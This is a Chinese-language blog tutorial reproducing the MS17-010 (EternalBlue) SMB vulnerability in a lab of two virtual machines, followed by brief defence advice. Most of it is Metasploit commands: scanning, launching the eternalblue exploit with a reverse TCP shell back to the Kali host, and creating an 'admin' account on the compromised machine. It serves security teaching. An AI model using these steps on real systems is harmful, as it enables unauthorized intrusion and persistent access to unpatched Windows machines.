《MS17-010(永恒之蓝)—漏洞复现及防范》
作者: susususuao
免责声明:本文仅供学习研究,严禁从事非法活动,任何后果由使用者本人负责。
一. 什么是永恒之蓝?
- 永恒之蓝
永恒之蓝(Eternal Blue)是一种利用Windows系统的SMB协议漏洞来获取系统的最高权限,以此来控制被入侵的计算机。而SMB服务是一个协议名,它能被用于Web连接和客户端与服务器之间的信息沟通。通过 SMB 协议,客户端应用程序可以在各种网络环境下读、写服务器上的文件,以及对服务器程序提出服务请求。此外通SMB 协议,应用程序可以访问远程服务器端的文件、以及打印机、邮件槽(mailslot)、命名管道等资源。而永恒之蓝则通过TCP端口(445)和(139)端口来利用SMBv1和NBT中的远程代码执行漏洞,恶意代码会扫描开放445文件共享端口的windows 机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器里进行一系列的危险操作。 如远程控制木马,获取最高权限等。
- 危害
恶意代码会扫描开放445文件共享端口的Windows机器,无需用户任何操作,只要开机上网,不法分子就能在电脑和服务器中植入勒索软件、远程控制木马、虚拟货币挖矿机等恶意程序。影响版本可以参考MS17-010介绍。
二. 复现MS17-010漏洞
1. 环境部署
- 靶机 : Windows 7虚拟机 IP:192.168.5.139
- 攻击机 :Kali-Linux-2021虚拟机 IP:192.168.5.133
2. 工具
这里就使用Kali自带的Metasploit工具。
MSF是一款高度模块化,即框架由多个module组成,是一款开源安全漏洞利用和测试工具,集成了各种平台上常见的溢出漏洞和流行的shellcode,并持续保持更新。MSF涵盖了渗透测试中全过程,你可以在这个框架下利用现有的Payload进行一系列的渗透测试。是全球最受欢迎的工具。
3. 开始复现
- MS17-010漏洞是通过TCP端口445端进行远程代码执行的,所以我们在Kali先对Window 7进行Nmap扫描看看是否开启了445端口。
# nmap -v 192.168.5.139 //进行端口信息扫描,发现445端口是开发中的。

- 通过执行msfconsole指令进行启动
# msfconsole //启动

- 搜索ms17-010相关漏洞利用模块
msf6 > search ms17_010 //搜索相关模块,其中下面框出的一个是辅助模块一个是攻击模块。

- 进入auxiliary辅助模块,对 Window 7进行扫描,查看是否存在漏洞。
msf6 auxiliary(scanner/smb/smb_ms17_010) > set rhosts 192.168.5.139 //这里直接输入靶机IP,不用输入所在网段。
rhosts => 192.168.5.0/24
msf6 auxiliary(scanner/smb/smb_ms17_010) > set threads 15 //设置线程,越大越快
threads => 15
msf6 auxiliary(scanner/smb/smb_ms17_010) > show options //查看刚才设置有没有生成
msf6 auxiliary(scanner/smb/smb_ms17_010) > run //开始运行
这里说明192.168.5.139的主机存在该漏洞,所以我们可以对它进行攻击入侵。
- 进行exploit攻击模块,配置相关参数开始入侵。
msf6 auxiliary(scanner/smb/smb_ms17_010) > back //退出辅助模块
msf6 > use exploit/windows/smb/ms17_010_eternalblue //进入攻击模块
msf6 exploit(windows/smb/ms17_010_eternalblue) > show targets //可以查看那些系统可以复现。
**设置漏洞利用完成后的反弹模块,用以接收回馈信息:**
msf6 exploit(windows/smb/ms17_010_eternalblue) > show payloads //查看有哪些载荷
msf6 exploit(windows/smb/ms17_010_eternalblue) > search windows/x64/shell //过滤出我们需要的载荷
msf6 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/shell/reverse_tcp //使用这个载荷
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost 192.168.5.133 //设置反弹IP地址(Kali)
lhost => 192.168.5.133
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lport 4444 //设置反弹端口
lport => 4444
msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhosts 192.168.5.139 //设置被攻击的目标主机IP(Window 7)
rhosts => 192.168.5.139
msf6 exploit(windows/smb/ms17_010_eternalblue) > show options //查看是否设置成功
msf6 exploit(windows/smb/ms17_010_eternalblue) > run //运行
出现下面显示则说明已经入侵成功

- 操控Windows 7
C:\Windows\system32>ipconfig //我们会发现乱码
C:\Windows\system32>chcp 65001 //改变代码页(65001为UTF-8的代码页)
chcp 65001
Active code page: 65001
C:\Windows\system32>ipconfig //这回我们发现可以正常显示了
C:\Windows\system32>net user admin admin /add 创建admin用户,密码为admin。
更多相关用法可以在网上搜索,在这我就不罗列出来了!
三. MS17-010漏洞防范
这里我们知道MS17-010漏洞是利用SMB服务漏洞入侵的,而SMB服务使用的是TCP端口(445)和(139)端口,所以我们可以通过下面方法进行防范,在这我就不在演示了。
- 关闭不必要的端口,尤其是445端口。
- 打开防火墙,安装安全软件。
- 安装对应补丁。
四. 总结
为了维持操作系统的安全性,减少不必要的损失,我们要对操作系统及时进行更新系统,安装相关补丁,关闭不必要的服务和端口。
《MS17-010(永恒之蓝)—漏洞复现及防范》的更多相关文章
- 简单物联网:外网访问内网路由器下树莓派Flask服务器
最近做一个小东西,大概过程就是想在教室,宿舍控制实验室的一些设备. 已经在树莓上搭了一个轻量的flask服务器,在实验室的路由器下,任何设备都是可以访问的:但是有一些限制条件,比如我想在宿舍控制我种花 ...
- 利用ssh反向代理以及autossh实现从外网连接内网服务器
前言 最近遇到这样一个问题,我在实验室架设了一台服务器,给师弟或者小伙伴练习Linux用,然后平时在实验室这边直接连接是没有问题的,都是内网嘛.但是回到宿舍问题出来了,使用校园网的童鞋还是能连接上,使 ...
- 外网访问内网Docker容器
外网访问内网Docker容器 本地安装了Docker容器,只能在局域网内访问,怎样从外网也能访问本地Docker容器? 本文将介绍具体的实现步骤. 1. 准备工作 1.1 安装并启动Docker容器 ...
- 外网访问内网SpringBoot
外网访问内网SpringBoot 本地安装了SpringBoot,只能在局域网内访问,怎样从外网也能访问本地SpringBoot? 本文将介绍具体的实现步骤. 1. 准备工作 1.1 安装Java 1 ...
- 外网访问内网Elasticsearch WEB
外网访问内网Elasticsearch WEB 本地安装了Elasticsearch,只能在局域网内访问其WEB,怎样从外网也能访问本地Elasticsearch? 本文将介绍具体的实现步骤. 1. ...
- 怎样从外网访问内网Rails
外网访问内网Rails 本地安装了Rails,只能在局域网内访问,怎样从外网也能访问本地Rails? 本文将介绍具体的实现步骤. 1. 准备工作 1.1 安装并启动Rails 默认安装的Rails端口 ...
- 怎样从外网访问内网Memcached数据库
外网访问内网Memcached数据库 本地安装了Memcached数据库,只能在局域网内访问,怎样从外网也能访问本地Memcached数据库? 本文将介绍具体的实现步骤. 1. 准备工作 1.1 安装 ...
- 怎样从外网访问内网CouchDB数据库
外网访问内网CouchDB数据库 本地安装了CouchDB数据库,只能在局域网内访问,怎样从外网也能访问本地CouchDB数据库? 本文将介绍具体的实现步骤. 1. 准备工作 1.1 安装并启动Cou ...
- 怎样从外网访问内网DB2数据库
外网访问内网DB2数据库 本地安装了DB2数据库,只能在局域网内访问,怎样从外网也能访问本地DB2数据库? 本文将介绍具体的实现步骤. 1. 准备工作 1.1 安装并启动DB2数据库 默认安装的DB2 ...
- 怎样从外网访问内网OpenLDAP数据库
外网访问内网OpenLDAP数据库 本地安装了OpenLDAP数据库,只能在局域网内访问,怎样从外网也能访问本地OpenLDAP数据库? 本文将介绍具体的实现步骤. 1. 准备工作 1.1 安装并启动 ...
随机推荐
- (新手向)在Linux中使用VScode编写 "Hello,world"程序,并编写测试-Ubuntu20.4
本文意在帮助 Go 语言初学者在 Linux环境下编写自己的第一个Golang程序 难点主要在 VScode 中 Go 插件的下载 与 go.mod 以及编译运行和 第一个Go测试程序的使用 前提准备 ...
- 【NLP 系列】Bert 词向量的空间分布
作者:京东零售 彭馨 1. 背景 我们知道Bert 预训练模型针对分词.ner.文本分类等下游任务取得了很好的效果,但在语义相似度任务上,表现相较于 Word2Vec.Glove 等并没有明显的提升. ...
- Java面试——Linux
一.如果知道一个文件名称,怎么查这个文件在 Linux下的哪个目录,如:要查找 tnsnames.ora文件 1 find / -name tnsnames.ora 2 #还可以用locate 来查找 ...
- Spring AOP面向切面编程案例 (注解驱动开发)
AOP(动态代理):指在程序运行期间动态的将某段代码切入到指定方法指定位置进行运行的编程方式:[1]导入 aop 模块:Spring AOP:(spring-aspects):[2]定义一个业务逻辑类 ...
- Go 语言:通过TDD测试驱动开发学习 Mocking (模拟)的思想
正文: 现在需要你写一个程序,从 3 开始依次向下,当到 0 时打印 「GO!」 并退出,要求每次打印从新的一行开始且打印间隔一秒的停顿. 3 2 1 Go! 我们将通过编写一个 Co ...
- sealos踩坑记录
前言 记录下我安装sealos的踩坑历程,全网基本没有什么类似的可靠资料,也许是因为太小众了吧,希望能帮助到搜索到此文的人. sealos是什么 Sealos 是以 kubernetes 为内核的云操 ...
- Json和对象之间的转换
JSON是一种字符: json转对象: var str = '{"name":"admin","age":16,"sex" ...
- IOC创建对象方式
IOC创建对象方式 User 类 public class User { private String name; public User(String name) { ...
- blender资源库 【自用】
1 https://www.threedscans.com A Website with a lot of photo-scanned sculptures which are free to use ...
- 我来泼盆冷水:正面迎击AI的时代千万别被ChatGPT割了韭菜
前言 ChatGPT从出来的时候我就一直密切关注,为此还加了不少群,用了不少套壳的程序,公司还开了专门的培训会,技术团队还为此搭建了接入ChatGPT的服务,帮助全公司的产品.商务.测试.运维.研发一 ...